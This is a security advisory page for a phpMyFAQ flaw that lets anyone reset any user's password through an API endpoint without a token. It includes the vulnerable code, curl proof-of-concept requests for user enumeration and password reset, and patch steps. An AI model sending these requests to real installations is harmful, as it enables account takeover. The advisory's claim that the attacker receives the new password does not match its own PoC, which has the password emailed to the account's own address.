Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-w9xh-5f39-vq89 — thorsten/phpmyfaq

HIGH

GHSA-w9xh-5f39-vq89 is a high-severity (CVSS 8.2) CWE-307 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.

phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

Also known asCVE-2026-35675
Published
May 20, 2026
Updated
Sep 10, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w9xh-5f39-vq89.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.14%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.32%0.64%0.96%0.1%0.3%0.3%0.3%0.5%Jun 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-w9xh-5f39-vq89 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐘thorsten/phpmyfaq🐘phpmyfaq/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}


Root Causes:

  1. No time-limited cryptographic token required for password reset
  2. No rate limiting on the endpoint (allows unlimited username/email enumeration)
  3. No verification email sent to original address before reset
  4. New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"[email protected]"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"[email protected]"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to [email protected]

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted:

  • All phpMyFAQ administrators using default installations
  • Any organization using phpMyFAQ for internal knowledge bases
  • End users whose accounts could be compromised
  • Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.1.3composer require thorsten/phpmyfaq:^4.1.3
🐘Packagistphpmyfaq/phpmyfaqall versions4.1.3composer require phpmyfaq/phpmyfaq:^4.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update thorsten/phpmyfaq to 4.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w9xh-5f39-vq89 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access. ### Details File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lin
O3 Security · Impact-Aware SCA

Is GHSA-w9xh-5f39-vq89 in your dependencies?

Find it across Packagist, including transitive dependencies.

GHSA-w9xh-5f39-vq89: High 8.2 severity | O3 Security